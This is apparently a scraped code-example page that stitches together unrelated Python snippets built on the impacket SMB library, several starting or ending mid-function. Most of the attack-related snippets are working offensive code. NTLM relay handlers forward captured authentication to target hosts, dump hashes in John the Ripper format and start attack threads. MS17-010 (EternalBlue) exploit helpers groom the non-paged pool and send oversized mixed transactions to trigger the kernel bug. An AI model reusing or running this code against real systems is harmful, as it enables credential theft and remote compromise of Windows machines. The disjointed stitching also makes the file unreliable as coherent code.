                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    connData['AUTHUSER'] = authenticateMessage['user_name']
                    self.authUser = connData['AUTHUSER']
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = '\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff
                    # Reset the UID
                    if self.target[0] == 'SMB':
                        client.setUid(0)
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())
                    del (smbData[self.target])
                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                #TODO: Fix this for other protocols than SMB [!]
                clientResponse, errorCode = smbClient.login_standard(
                    sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())
                #TODO: Fix this for other protocols than SMB [!]
                clientThread = self.config.attacks['SMB'](self.config,
                                                          smbClient,
                                                          self.config.exeFile,
                                                          self.config.command)
                clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)

                # Remove the target server from our connection list, the work is done
                del (smbData[self.target])
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Exemple #21
0
    def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ,
                 creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN,
                 fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
                 oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
        """
        opens a remote file

        :param HANDLE treeId: a valid handle for the share where the file is to be opened
        :param string pathName: the path name to open
        :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx
        :param int shareMode: Specifies the sharing mode for the open.
        :param int creationOption: Specifies the options to be applied when creating or opening the file.
        :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name
        field already exists.
        :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section.
        :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request.
        :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it.
        :param int oplockLevel: The requested oplock level
        :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed.


        :return: a valid file descriptor, if not raises a SessionError exception.
        """

        if self.getDialect() == smb.SMB_DIALECT:
            _, flags2 = self._SMBConnection.get_flags()

            pathName = pathName.replace('/', '\\')
            packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName

            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)
            ntCreate['Parameters']['FileNameLength']= len(packetPathName)
            ntCreate['Parameters']['AccessMask']    = desiredAccess
            ntCreate['Parameters']['FileAttributes']= fileAttributes
            ntCreate['Parameters']['ShareAccess']   = shareMode
            ntCreate['Parameters']['Disposition']   = creationDisposition
            ntCreate['Parameters']['CreateOptions'] = creationOption
            ntCreate['Parameters']['Impersonation'] = impersonationLevel
            ntCreate['Parameters']['SecurityFlags'] = securityFlags
            ntCreate['Parameters']['CreateFlags']   = 0x16
            ntCreate['Data']['FileName'] = packetPathName

            if flags2 & smb.SMB.FLAGS2_UNICODE:
                ntCreate['Data']['Pad'] = 0x0

            if createContexts is not None:
                LOG.error("CreateContexts not supported in SMB1")

            try:
                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
            except (smb.SessionError, smb3.SessionError) as e:
                raise SessionError(e.get_error_code(), e.get_error_packet())
        else:
            try:
                return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
                                                  creationDisposition, fileAttributes, impersonationLevel,
                                                  securityFlags, oplockLevel, createContexts)
            except (smb.SessionError, smb3.SessionError) as e:
                raise SessionError(e.get_error_code(), e.get_error_packet())
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	# Here is another bug in MS17-010.
	# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
	#   https://msdn.microsoft.com/en-us/library/ee441514.aspx
	# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 
	#   can use *_SECONDARY command to send transaction message. When sending a transaction completely with
	#   *_SECONDARY command, a server uses the last command that complete the transaction.
	# For example:
	# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
	# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
	#
	# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
	# For example:
	# - a client start transaction with SMB_COM_NT_TRANSACT command
	# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
	# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
	# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
	
	# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 
	#   with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
	# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
	#   field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
	# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
	
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)
	
	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	conn.recvSMB() # must be success
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i
Exemple #23
0
    if data.get_packet()[0] == '\x00':
        if data.get_packet()[4:8] == '\xffSMB':
            try:
                packet.fromString(data.get_packet()[4:])
            except Exception, e:
                print "ERROR: %s" % e
                print "Command: SMBPacket"
                print "Packet: %d %r" % (packetNum, data.get_packet())
                return True
        else:
            return False
    else:
        return False

    try:
        SMBCommand = smb.SMBCommand(packet['Data'][0])
    except Exception, e:
        print "ERROR: %s" % e
        print "Command: SMBCommand"
        print "Packet: %d %r" % (packetNum, data.get_packet())
        return True

    if smbCommands.has_key(packet['Command']):
        return smbCommands[packet['Command']][HANDLER](
            packet, packetNum, SMBCommand,
            smbCommands[packet['Command']][QUESTIONS],
            smbCommands[packet['Command']][REPLIES])
    #else:
    #     print "Command 0x%x not handled" % packet['Command']

Exemple #24
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        LOG.info(
            "SMBD-%s: Received connection from %s, attacking target %s://%s" %
            (connId, connData['ClientIP'], self.target.scheme,
             self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [
            TypesMech[
                'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]

        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
Exemple #25
0
    def create_and_x(self, conn_id, smb_server, smb_command, recv_packet):
        """
        Our version of smbComNtCreateAndX looks for special test files and
        fools the rest of the framework into opening them as if they were
        normal files.
        """
        conn_data = smb_server.getConnectionData(conn_id)

        # Wrap processing in a try block which allows us to throw SmbException
        # to control the flow.
        try:
            ncax_parms = imp_smb.SMBNtCreateAndX_Parameters(
                smb_command["Parameters"])

            path = self.get_share_path(conn_data, ncax_parms["RootFid"],
                                       recv_packet["Tid"])
            log.info("[SMB] Requested share path: %s", path)

            disposition = ncax_parms["Disposition"]
            log.debug("[SMB] Requested disposition: %s", disposition)

            # Currently we only support reading files.
            if disposition != imp_smb.FILE_OPEN:
                raise SmbException(STATUS_ACCESS_DENIED,
                                   "Only support reading files")

            # Check to see if the path we were given is actually a
            # magic path which needs generating on the fly.
            if path not in [SERVER_MAGIC, TESTS_MAGIC]:
                # Pass the command onto the original handler.
                return imp_smbserver.SMBCommands.smbComNtCreateAndX(
                    conn_id, smb_server, smb_command, recv_packet)

            flags2 = recv_packet["Flags2"]
            ncax_data = imp_smb.SMBNtCreateAndX_Data(flags=flags2,
                                                     data=smb_command["Data"])
            requested_file = imp_smbserver.decodeSMBString(
                flags2, ncax_data["FileName"])
            log.debug("[SMB] User requested file '%s'", requested_file)

            if path == SERVER_MAGIC:
                fid, full_path = self.get_server_path(requested_file)
            else:
                assert (path == TESTS_MAGIC)
                fid, full_path = self.get_test_path(requested_file)

            resp_parms = imp_smb.SMBNtCreateAndXResponse_Parameters()
            resp_data = ""

            # Simple way to generate a fid
            if len(conn_data["OpenedFiles"]) == 0:
                fakefid = 1
            else:
                fakefid = conn_data["OpenedFiles"].keys()[-1] + 1
            resp_parms["Fid"] = fakefid
            resp_parms["CreateAction"] = disposition

            if os.path.isdir(path):
                resp_parms[
                    "FileAttributes"] = imp_smb.SMB_FILE_ATTRIBUTE_DIRECTORY
                resp_parms["IsDirectory"] = 1
            else:
                resp_parms["IsDirectory"] = 0
                resp_parms["FileAttributes"] = ncax_parms["FileAttributes"]

            # Get this file's information
            resp_info, error_code = imp_smbserver.queryPathInformation(
                "", full_path, level=imp_smb.SMB_QUERY_FILE_ALL_INFO)

            if error_code != STATUS_SUCCESS:
                raise SmbException(error_code, "Failed to query path info")

            resp_parms["CreateTime"] = resp_info["CreationTime"]
            resp_parms["LastAccessTime"] = resp_info["LastAccessTime"]
            resp_parms["LastWriteTime"] = resp_info["LastWriteTime"]
            resp_parms["LastChangeTime"] = resp_info["LastChangeTime"]
            resp_parms["FileAttributes"] = resp_info["ExtFileAttributes"]
            resp_parms["AllocationSize"] = resp_info["AllocationSize"]
            resp_parms["EndOfFile"] = resp_info["EndOfFile"]

            # Let's store the fid for the connection
            # smbServer.log("Create file %s, mode:0x%x" % (pathName, mode))
            conn_data["OpenedFiles"][fakefid] = {}
            conn_data["OpenedFiles"][fakefid]["FileHandle"] = fid
            conn_data["OpenedFiles"][fakefid]["FileName"] = path
            conn_data["OpenedFiles"][fakefid]["DeleteOnClose"] = False

        except SmbException as s:
            log.debug("[SMB] SmbException hit: %s", s)
            error_code = s.error_code
            resp_parms = ""
            resp_data = ""

        resp_cmd = imp_smb.SMBCommand(imp_smb.SMB.SMB_COM_NT_CREATE_ANDX)
        resp_cmd["Parameters"] = resp_parms
        resp_cmd["Data"] = resp_data
        smb_server.setConnectionData(conn_id, conn_data)

        return [resp_cmd], None, error_code
def createSessionAllocNonPaged(target, size):
    conn = MYSMB(
        target, use_ntlmv2=False
    )  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
    _, flags2 = conn.get_flags()
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
        return conn

    if USERNAME:
        # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
        # Note: If target allows only NTLMv2 authentication, the login will always fail.
        # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
        conn.set_flags(flags2=flags2)

        # new SMB packet to reset flags
        pkt = smb.NewSMBPacket()
        pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
        # UnicodePasswordLen field is in Reserved for extended security format.
        sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
        sessionSetup['Data'] = pack(
            '<H', reqSize + len(pwd_unicode) +
            len(USERNAME)) + pwd_unicode + USERNAME + '\x00' * 16
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
            return conn

    # lazy to check error code, just print fail message
    print('SMB1 session setup allocate nonpaged pool failed')
    sys.exit(1)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)

    # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['MaxSetupCount'] = 1
    transCommand['Parameters']['MaxParameterCount'] = len(param)
    transCommand['Parameters']['MaxDataCount'] = 0
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+38 + len(command)
    if len(param) > 0:
        padLen = (4 - fixedOffset % 4 ) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

    if len(data) > 0:
        pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = firstDataFragmentSize
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB() # must be success
    if recvPkt.getNTStatus() == 0:
        module.log('got good NT Trans response')
    else:
        module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
        sys.exit(1)

    # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
    i = firstDataFragmentSize
    while i < len(data):
        sendSize = min(4096, len(data) - i)
        if len(data) - i <= 4096:
            if not sendLastChunk:
                break
        send_trans2_second(conn, tid, data[i:i+sendSize], i)
        i += sendSize

    if sendLastChunk:
        conn.recvSMB()
    return i
    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        ## Process here the request, does the share exist?
        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED
        resp['ErrorCode'] = errorCode >> 16
        resp['_reserved'] = 0o3
        resp['ErrorClass'] = errorCode & 0xff

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
